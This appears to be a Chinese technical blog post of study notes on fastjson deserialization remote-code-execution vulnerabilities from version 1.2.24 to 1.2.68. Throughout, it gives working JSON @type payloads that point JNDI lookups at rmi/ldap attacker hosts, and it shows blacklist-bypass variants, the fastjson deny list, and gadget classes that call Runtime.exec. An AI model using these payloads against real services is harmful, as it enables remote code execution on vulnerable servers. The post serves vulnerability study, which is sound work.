fastjson——分享

fastjson——分享

功能描述

fastjson的功能就是将json格式转换为类、字符串等供下一步代码的调用,或者将类、字符串等数据转换成json数据进行传输,有点类似序列化的操作;
FastJson利用 toJSONString 方法来序列化对象,而反序列化还原回 Object 的方法,主要的API有两个,分别是 JSON.parseObjectJSON.parse ,最主要的区别就是前者返回的是 JSONObject 而后者返回的是实际类型的对象,当在没有对应类的定义的情况下,通常情况下都会使用 JSON.parseObject 来获取数据。

@type 可以指定反序列化任意类,调用其set,get,is方法。

演示fastjson的解释过程

//User.java
package com.longofo.test;

public class User {
    private String name; //私有属性,有getter、setter方法
    private int age; //私有属性,有getter、setter方法
    private boolean flag; //私有属性,有is、setter方法
    public String sex; //公有属性,无getter、setter方法
    private String address; //私有属性,无getter、setter方法

    public User() {
        System.out.println("call User default Constructor");
    }

    public String getName() {
        System.out.println("call User getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("call User setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("call User getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("call User setAge");
        this.age = age;
    }

    public boolean isFlag() {
        System.out.println("call User isFlag");
        return flag;
    }

    public void setFlag(boolean flag) {
        System.out.println("call User setFlag");
        this.flag = flag;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", flag=" + flag +
                ", sex='" + sex + '\'' +
                ", address='" + address + '\'' +
                '}';
    }
}

package com.longofo.test;

import com.alibaba.fastjson.JSON;

public class Test1 {
    public static void main(String[] args) {
        //序列化
        String serializedStr = "{\"@type\":\"com.longofo.test.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//
        System.out.println("serializedStr=" + serializedStr);

        System.out.println("-----------------------------------------------\n\n");
        //通过parse方法进行反序列化,返回的是一个JSONObject]
        System.out.println("JSON.parse(serializedStr):");
        Object obj1 = JSON.parse(serializedStr);
        System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
        System.out.println("parse反序列化:" + obj1);
        System.out.println("-----------------------------------------------\n");

        //通过parseObject,不指定类,返回的是一个JSONObject
        System.out.println("JSON.parseObject(serializedStr):");
        Object obj2 = JSON.parseObject(serializedStr);
        System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
        System.out.println("parseObject反序列化:" + obj2);
        System.out.println("-----------------------------------------------\n");

        //通过parseObject,指定为object.class
        System.out.println("JSON.parseObject(serializedStr, Object.class):");
        Object obj3 = JSON.parseObject(serializedStr, Object.class);
        System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());
        System.out.println("parseObject反序列化:" + obj3);
        System.out.println("-----------------------------------------------\n");

        //通过parseObject,指定为User.class
        System.out.println("JSON.parseObject(serializedStr, User.class):");
        Object obj4 = JSON.parseObject(serializedStr, User.class);
        System.out.println("parseObject反序列化对象名称:" + obj4.getClass().getName());
        System.out.println("parseObject反序列化:" + obj4);
        System.out.println("-----------------------------------------------\n");
    }
}

fastjson RCE漏洞的源头

<= 1.2.24

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit",""autoCommit":true}

第一版的利用原理比较清晰,因为fastjson在处理以@type形式传入的类的时候,会默认调用该类的共有set\get\is函数,因此我们在寻找利用类的时候思路如下:
1、类的成员变量我们可以控制;
2、想办法在调用类的某个set\get\is函数的时候造成命令执行。
于是便找到了JdbcRowSetImpl类,该类在setAutoCommit函数中会对成员变量dataSourceName进行lookup,标准的jndi注入利用。

Exec:620,Runtime //命令执行
Lookup:417,InitalContext /jndi lookup函数通过rmi或者ldap获取恶意类

setAutoCommit:4067,JdbcRowSetImpl 通过setAutoCommit从而在后面触发了lookup函数

setValue:96,FieldDeserializer //反射调用传入类的set函数

deserialze:600, JavaBeanDeserializer 通过循环调用传入类的共有set,get,is函数

parseObject:368,DefaultJSONParser 解析传入的json字符串

插入一张图表示jndi的利用过程;
在这里插入图片描述

绕过的方式:
1)可去掉a,或者增加更多a以及各种无关参数

{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/cmd
","autoCommit":true}
{"c":1,"b":{"a":{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/cmd
","autoCommit":true}}}}

2)json允许unicode和转义字符

{"@type":"\u0063\x6fm.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/cmd
","autoCommit":true}

基础知识

我们都知道 Java 的 ClassLoader 是用来加载字节码文件最基础的方法,

ClassLoader 加载字节码

ClassLoader 是什么呢?
它就是一个“加载器”,告诉Java虚拟机如何加载这个类,用一句话概括它的作用就是将传入的字节码处理成真正的 Java 类然后返回。

ClassLoader 处理字节码的流程为 loadClass -> findClass -> defineClass
loadClass: 从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
findClass: 根据基础URL指定的方式来加载类的字节码
defineClass:处理前面传入的字节码,将其处理成真正的Java类
所以将字节码转为 java 类的其实是 defineClass 方法,

翻看源码 ClassLoader#defineClass 是一个protected属性,无法直接使用,需要setAccessible(true),因此常常用其他重写了此方法的类来代替,比如js.jar中的org.mozilla.classfile.DefiningClassLoader。

python -m SimpleHTTPServer 8002

在这里插入图片描述

在defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造 函数,初始化代码才能被执行。

利用 TemplatesImpl 加载字节码

TemplatesImpl利用链学习 | wEik1’blog
前边说到 ClassLoader 的 defineClass 方法只能通过反射调用,在实际环境中很难有利用场景。但是在 TemplatesImpl 类中有一个内部类 TransletClassLoader 它重写了 defineClass,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass 由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
在这里插入图片描述

漏洞利用链:

TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()->TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()  

另外,值得注意的是, TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须 是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。

漏洞利用:fastjson反序列化TemplatesImpl - Afant1 - 博客园

不过在1.2.22-1.2.24,增加了一个SupportNonPublicField特性,如果使用了这个特性,那么private address就算没有setter、getter也能成功赋值。这个漏洞需要开启SupportNonPublicField特性。因为TemplatesImpl类中_bytecodes、_tfactory、_name、_outputProperties、_class并没有对应的setter,所以要为这些private属性赋值,就需要开启SupportNonPublicField特性。FastJson 反序列化学习

触发原因简析:
TemplatesImpl对象恢复->JavaBeanDeserializer.deserialze->FieldDeserializer.setValue->TemplatesImpl.getOutputProperties->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance->通过defineTransletClasses,newInstance触发我们自己构造的class的静态代码块

漏洞利用过程:

JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec

checkautotpye的利用

认识autotype的利用:并且从1.2.25开始,增加了checkAutoType函数,它的主要作用是检测@type指定的类是否在白名单、黑名单(使用的startswith方式)

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
    if (typeName == null) {
        return null;
    } else if (*typeName.length*() >= 128) {
        throw new JSONException("autoType is not support. " + typeName);
    } else {
        String className = typeName.replace('$', '.');
        Class<?> clazz = null;
        int mask;
        String accept;
        if (this.autoTypeSupport || expectClass != null) {
            for(mask = 0; mask < *this.acceptList*.length; ++mask) {
                accept = this.acceptList[mask];
                if (className.startsWith(accept)) {
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
            }

            for(mask = 0; mask < this.denyList.length; ++mask) {
                accept = this.denyList[mask];
                if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

防御的方式比较清晰,限制长度+黑名单,这个时候第一时间产生的想法自然是绕过黑名单,先看一下第一版的黑名单:
**this**.denyList = **"bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.apache.xalan,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework"**.split(**","**);

黑名单绕过:1.2.45绕过。【需要配置全局】
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties"{"data_source":"rmi://localhost:1099/Exploit"}}

知识点:autoTypeSupport 是干啥用的呢?
在这里插入图片描述

如果autoTypeSupport为false,黑白名单判断后如果都没有,则直接返回autoType is not support,也就是不会管其他类的死活,而如果开启了autoTypeSupport,如果不在黑白名单中,还会继续判断:如果不是ClassLoader或DataSource类的子类或接口也会返回clazz继续执行下去。

不使用checkAutoType安全机制的情况
Json字符串中未使用@type字段

public static void main(String[] args){
    String jsonstr = "{\"s1\":\"1\"}";
    Object obj = JSON.parseObject(jsonstr, AutoTypeTest.Test1.class);
}

Class clazz与@type相同

public static void main(String[] args) {
        String jsonstr = "{\"@type\":\"AutoTypeTest.Test1\",\"s1\":\"1\"}";
        Object obj = JSON.parseObject(jsonstr, AutoTypeTest.Test1.class);
    }
}

待处理的字符串@type指定的类与parseObject(String text, Class clazz)中Class clazz)参数指定的类相同,都是AutoTypeTest.Test1。

必须要设置ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
当传入的className变量以”L”开头,并以”;”结尾,进入上图分支程序将会把开头的”L”与结尾的”;”去掉,并递归调用loadClass加载这个类:

函数是先检查传入的@type的值是否是在黑名单里,然后再进入loadClass函数,这样的话如果loadClass函数里要是会对传入的class做一些处理的话,我们是不是就能绕过黑名单呢,跟进loadClass函数:

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
    if (className != null && className.length() != 0) {
        Class<?> clazz = (Class)mappings.get(className);
        if (clazz != null) {
            return clazz;
        } else if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        } else if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);

1.2.41

绕过的poc
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

1.2.42针对1.2.41进行了修补,取第二个字符到倒数第二个字符之间的内容做黑名单检查,但仍然被绕过,造成命令执行
在这里插入图片描述

1.2.42

//1.2.42
String payload2 = "{\"@type\":\"LL\u0063\u006f\u006d.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
        " \"autoCommit\":true}";

1.2.43

Fastjson1.2.43版本主要针对42版本的LL的绕过做修复,然而[。还是可以用,于是就有了43版本的远程命令执行。调试跟进到CheckAutoType,43版本增加了对LL字符的检测,但忽略了对[字符的检测
在这里插入图片描述

//1.2.43
String payload3 = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true]} ";//

一样会去除开头的 [ ,得到同样的效果,只不过输入 [ 后会报错,再根据报错一一满足就好可以直接根据报错信息构造,直接在
com.sun.rowset.JdbcRowSetImpl前面加一个 [ 得到报错
Exepct ‘[‘, but , pos 71, json# ,那么我们在逗号前添加左中括号得到
{“@type”:”[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”[仍报错:
syntax error, expect {, actual string, pos 72, fastjson-version 1.2.43 于是在左中括号和逗号中间添加一个左大括号就得到了exp中的内容,且执行后完美弹出计算器。

修改了检测方式:删了之前的判断,改成遇到[开头或者;结尾的都直接异常抛出

Poc到时候继续写;

//1.2.41 bypass
String payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}";
//String payload = "{\"@type\":\"Lcom.sun.rowset.RowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:8088/Exploit\"," + " \"autoCommit\":true}";
//1.2.43
String payload3 = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true]} ";//1.2.43
//1.2.42
String payload2 = "{\"@type\":\"LL\u0063\u006f\u006d.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
        " \"autoCommit\":true}";

1.2.45

<dependency>
            <groupId>org.mybatis</groupId>
            <artifactId>mybatis</artifactId>
            <version>3.5.6</version>
        </dependency>

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject("{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://c014:37777/Exp\"}}");

原理:
利用了黑名单之外的类
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

调用其setProperties()方法
在这里插入图片描述

修复:1.2.46 中又加了一堆黑名单,其中就包括
org.apache.ibatis.datasource

1.2.47

Fastjson 反序列化漏洞 历史线
绕过autoType限制,无需设置AutoTypeSupport
也是触发漏洞的关键步骤,可以看到在autoTypeSupport为true时,在黑名单检测过程中需要同时满足两个条件,由于TypeUtils.getClassFromMapping(typeName)从mapping中获取到了com.sun.rowset.JdbcRowSetImpl类的Class,导致条件不成立,绕过黑名单抛出异常的代码

  1. 利用到了java.lang.class,这个类不在黑名单,所以checkAutotype可以过
    在这里插入图片描述

  2. 这个java.lang.class类对应的deserializer为MiscCodec,deserialize时会取json串中的val值并load这个val对应的class,如果fastjson cache为true,就会缓存这个val对应的class到全局map中

  3. 如果再次加载val名称的class,并且autotype没开启(因为开启了会先检测黑白名单,所以这个漏洞开启了反而不成功),下一步就是会尝试从全局map中获取这个class,如果获取到了,直接返回
    漏洞分析:FastJson 反序列化学习

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://x.x.x.x:1999/Exploit", 
        "autoCommit": true
    }
}

修复:
首先是把java.lang.Class放入黑名单
然后将传入默认的cache改为false

1.2.60

存在两个不在autoType黑名单中可以被利用的三方类,其实之前也有很多三方类都存在问题,比如1.2.59中增加的黑名单ch.qos.logback.core.db.JNDIConnectionSource以及1.2.60中增加的com.zaxxer.hikari.HikariConfig都能RCE

在这里插入图片描述

1.2.60还存在的是org.apache.commons.configuration.JNDIConfiguration和oracle.jdbc.connector.OracleManagedConnectionFactory也都是使用了JNDI注入技术实现RCE,需要设置autoType为true

org.apache.commons.configuration.JNDIConfiguration:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject("{\"@type\":\"org.apache.commons.configuration.JNDIConfiguration\",\"prefix\":\"rmi://c014:37777/Exp\"}");

oracle.jdbc.connector.OracleManagedConnectionFactory:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject("{\"@type\":\"oracle.jdbc.connector.OracleManagedConnectionFactory\",\"xaDataSourceName\":\"rmi://c014:37777/Exp\"}");

1.2.68

90Sec
safemode和autotype的作用
打开safeMode时,@type这个specialkey完全无用,无论白名单和黑名单,都不支持autoType,ParserConfig.getGlobalInstance().setSafeMode(true);但是这个默认是不开启的
在这里插入图片描述

原理:FastJson<=1.2.68RCE原理详细分析 | 快乐瓶子的博客
这次的罪魁祸首的确是expectClass参数,但是!expectClass的由来还得从autoType说起。
Fastjson为了实现反序列化引入了autoType,之后防止进行恶意反序列化对象从而导致RCE,引入了checkAutoType(),这就引出了很多的问题,包括我们之前提到的都属于它的锅。而这次的expectClass参数也是checkAutoType()函数的一个参数,在之前的漏洞中都没有用到过,所以这次是一个全新的bypass checkAutoType()的方式,也造成了今年疯传的那个漏洞。

我们先来看一下通过checkAutoType()校验的方式有哪些:

  1. 白名单里的类
  2. 开启了autotype
  3. 使用了JSONType注解
  4. 指定了期望类(expectClass)
  5. 缓存在mapping中的类
  6. 使用ParserConfig.AutoTypeCheckHandler接口通过校验的类
    我们这次用的就是第四种方式。

在这里插入图片描述

如果某个类继承了期望类,是可以被反序列化的,出现了以继承java.lang.AutoCloseable,java.lang.Exception类的gadget,但当前几个有危害的链都需要引入三方库

在这里插入图片描述

1.2.68的绕过主要靠的就是AutoCloseable类,恰好fastjson没有为它指定特定的deserializer,因此会走到最后的else条件,创建对应的JavaBeanDeserializer。并且它是默认在mappings缓存中的,可以无条件反序列化。

fastjson 1.2.68 反序列化漏洞 gadgets 挖掘笔记 | Rmb122’s Notebook
发现 expectClass 的作用其实相当于一个临时白名单, 这里个特性:
fastjson 会对当前反序列化类的 field 的类型作为 type 传进 JavaBeanDeserializer.deserialze. 最后成为 expectClass 代入 checkAutoType 中, 如果 @type 指定的类是 expectClass 的子类, 就可以在黑名单不禁止的情况下通过检查

checkAutoType()中的expectClass参数类型为java.lang.Class,当expectClass传入checkAutoType()时不为null,并且我们要实例化的类是expectClass的子类或其实现时会将传入的类视为一个合法的类(不能在黑名单中),然后通过loadClass返回该类的class,我们就可以利用这个绕过checkAutoType()。
此外,由于checkAutoType()中黑名单的检测位于loadClass之前,所以不能在黑名单中,另外恶意类需要是expectClass的接口或是expectClass的子类。
我们查找把expectClass参数传递给checkAutoType()函数的利用类有两个:

  1. 在JavaBeanDeserializer类的deserialze()函数中会调用checkAutoType()并传入可控的expectClass
  2. 在ThrowableDeserializer类的deserialze()函数中也会调用并传入
    无论是上述哪一个利用类都会将@type的值作为typeName传给expectClass并调用checkAutoType(…expectClass…),所以思路就是在poc里写两个@type,第一个正常通过checkAutoType(),然后调用上述类中的deserialze()函数,然后在其中使用expectClass绕过第二次的checkAutoType()函数。

其中对应的分别为:AutoCloseable类和Throwable类,接下来详细分析。

java.lang.AutoCloseable/ java.lang.Exception绕过checkAutotype

{"@type": "java.lang.AutoCloseable", "@type": "test.AutoCloseableEvil", "testString": "calc"}

外部类:

package test;

public class AutoCloseableEvil implements AutoCloseable{
    public void setTestString(String cmd) throws Exception{
        Runtime.getRuntime().exec(cmd);
    }
    @Override
    public void close() throws Exception {
    }
}

{"@type": " java.lang.Exception", "@type": "test.ExceptionEvil", "testString": "calc"}

需要外部类:

package test;

public class ExceptionEvil extends Exception{
    public void setTestString(String cmd) throws Exception{
        Runtime.getRuntime().exec(cmd);
    }
}
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值